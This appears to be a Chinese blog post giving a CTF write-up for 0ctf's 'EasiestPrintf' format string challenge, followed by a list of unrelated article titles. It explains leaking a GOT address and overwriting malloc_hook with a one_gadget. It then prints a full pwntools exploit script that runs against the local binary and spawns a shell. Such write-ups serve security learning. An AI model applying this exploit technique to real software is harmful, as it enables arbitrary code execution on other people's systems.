前言

这是 0ctf 的一道比较简单的格式化串的题目。

正文

逻辑非常简单

do_read 可以打印内存地址的数据,可用来 泄露 got.

leave 格式化字符串漏洞。

printf(s) 直接调用 exit 退出了。不过可以使用 %1000c 触发 printf 里面的 mallocfree, 所以思路很清楚了,修改 free_hook 或者 malloc_hookone_gadget, 并且在格式化串末尾加上 %1000c触发 mallocfree

最后

最开始修改 free_hook, 发现所有的 one_gadget 都不能用,后面使用了 malloc_hook ,终于找到一个可以用的,估计和寄存器的数据有关。

exp:

from pwn import *
context(os='linux',log_level='debug') p = process("./EasiestPrintf") # gdb.attach(p, ''' # c # ''') setvbuf_got = 0x08049FF0
exit_got = 0x08049FE4 pause()
p.sendline(str(setvbuf_got))
p.recvuntil("Which address you wanna read:\n")
setvbuf_addr = int(p.recv(len('0xf7e60360')), 16)
libc_addr = setvbuf_addr - 0x60360
free_hook = libc_addr + 0x1b38b0
malloc_hook = libc_addr + 0x1b2768
one_gadget = libc_addr + 0x3ac69
log.info("free_hook: " + hex(free_hook))
log.info("one_gadget: " + hex(one_gadget))
pause() payload = fmtstr_payload(7, {malloc_hook: one_gadget})
payload += "%100000c" p.sendline(payload)
p.interactive()

最新文章

  1. 为你的pip更换一个国内的镜像源
  2. JAVA微信支付多次回调方法解决方案
  3. Springlake-01 介绍&功能&安装
  4. in C#,编译型常量(const)和运行时常量(readonly)
  5. ACM OJ Collection
  6. [翻译] C++ STL容器参考手册 (总册)
  7. svn添加强制注释,pre-commit结合python
  8. Android 新兴的UI模式——侧边导航栏【转】
  9. windows自带的线程池
  10. as 与 is
  11. Swing使用JavaFXweb组件
  12. 【代码管理】GitHub超详细图文攻略 - Git客户端下载安装 GitHub提交修改源码工作流程 Git分支 标签 过滤 Git版本工作流
  13. git体验
  14. WebForm 【上传图片--添加水印】
  15. Python OS模块常用功能 中文图文详解
  16. react router @4 和 vue路由 详解(二)react-router @4用法
  17. css3实现流星坠落效果
  18. cull/clip distance example
  19. 一次性解决Intellij IDEA maven 自动跳到1.5的JDK
  20. MyEclipse快捷键及经验总结 绝对的有用 太给力了

热门文章

  1. Java之集合(二十一)LinkedTransferQueue
  2. certificate verify fails (https://gems.ruby-china.org错误
  3. C#设计模式系列目录
  4. Android 开发工具类 26_getFile
  5. android学习-LocationManager(一)-
  6. Tensorflow 方法记录
  7. 用ruby调用执行shell命令
  8. mysql5.0版本下载地址
  9. 常用工具说明--node.js是什么
  10. [转]NEO与以太坊:为什么NEO可能是2018年最强的加密货币